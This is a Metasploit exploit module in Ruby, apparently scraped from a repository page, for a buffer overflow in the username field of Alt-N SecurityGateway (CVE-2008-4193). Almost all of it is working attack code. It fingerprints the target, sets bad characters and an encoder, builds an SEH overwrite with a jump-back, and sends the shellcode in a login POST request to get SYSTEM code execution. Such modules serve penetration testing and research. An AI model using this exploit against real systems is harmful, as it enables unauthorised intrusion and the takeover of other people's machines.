Path: blob/master/modules/exploits/windows/http/altn_securitygateway.rb
19591 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = AverageRanking78# XXX: Automatic targetting used HttpFingerprint = { :uri => '/SecurityGateway.dll', :pattern => [ /SecurityGateway / ] }910include Msf::Exploit::Remote::HttpClient11include Msf::Exploit::Seh1213def initialize(info = {})14super(15update_info(16info,17'Name' => 'Alt-N SecurityGateway username Buffer Overflow',18'Description' => %q{19Alt-N SecurityGateway is prone to a buffer overflow condition. This20is due to insufficient bounds checking on the "username"21parameter. Successful exploitation could result in code22execution with SYSTEM level privileges.2324NOTE: This service doesn't restart, you'll only get one shot. However,25it often survives a successful exploitation attempt.26},27'Author' => [ 'jduck' ],28'License' => MSF_LICENSE,29'References' => [30[ 'CVE', '2008-4193' ],31[ 'OSVDB', '45854' ],32[ 'BID', '29457']33],34'Privileged' => true,35'DefaultOptions' => {36'EXITFUNC' => 'thread',37},38'Payload' => {39'Space' => 476,40# note: 0xd7 might not be translated, but w/e41'BadChars' => "\x00" + ((0x40..0x5a).to_a + [ 0x8a, 0x8c, 0x8e, 0x9f ] + (0xc0..0xdf).to_a).pack('C*'),42'StackAdjustment' => -3500,43'EncoderType' => Msf::Encoder::Type::SingleStaticBit,44'EncoderOptions' =>45{46'BitNumber' => 0x5,47'BitValue' => true,48}49},50'Platform' => 'win',51'Targets' => [52[ 'Automatic Targeting', {} ],53# NOTE: the return address must be tolower() safe54[ 'SecurityGateway 1.0.1 Universal', { 'Ret' => 0x6767756f }], # p/p/r in XceedZip.dll 4.5.77.055],56'DefaultTarget' => 0,57'DisclosureDate' => '2008-06-02',58'Notes' => {59'Reliability' => UNKNOWN_RELIABILITY,60'Stability' => UNKNOWN_STABILITY,61'SideEffects' => UNKNOWN_SIDE_EFFECTS62}63)64)6566register_options(67[68Opt::RPORT(4000)69]70)71end7273# Identify the target based on the SecurityGateway version number74def auto_target75info = http_fingerprint({ :uri => '/SecurityGateway.dll' }) # automatic targetting76if (info =~ /SecurityGateway (1\..*)$/)77case $178when /1\.0\.1/79return self.targets[1]80end81end82# Not vulnerable83nil84end8586def check87if auto_target88Exploit::CheckCode::Appears89end90Exploit::CheckCode::Safe91end9293def exploit94# handle auto-targeting95mytarget = target96if target.name =~ /Automatic/97print_status("Attempting to automatically select a target...")98mytarget = auto_target99if mytarget.nil?100fail_with(Failure::NoTarget, "Unable to automatically select a target")101end102print_status("Automatically selected target \"#{mytarget.name}\"")103end104105# the buffer gets CharLowerBuff()'d and passed to:106# sprintf(str, "Attempt to login with invalid user name %s from %s", buf, ip_str);107108sploit = payload.encoded109sploit << generate_seh_record(mytarget.ret)110distance = payload_space + 8111sploit << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + distance.to_s).encode_string112sploit = Rex::Text.to_hex(sploit, '%')113sploit << rand_text_alphanumeric(512)114115post_data = 'RequestedPage=login'116post_data << '&username=' << sploit117post_data << '&passwd=world'118119print_status("Sending request...")120res = send_request_cgi({121'uri' => '/SecurityGateway.dll',122'method' => 'POST',123'content-type' => 'application/x-www-form-urlencoded',124'data' => post_data,125}, 5)126127handler128end129end130131132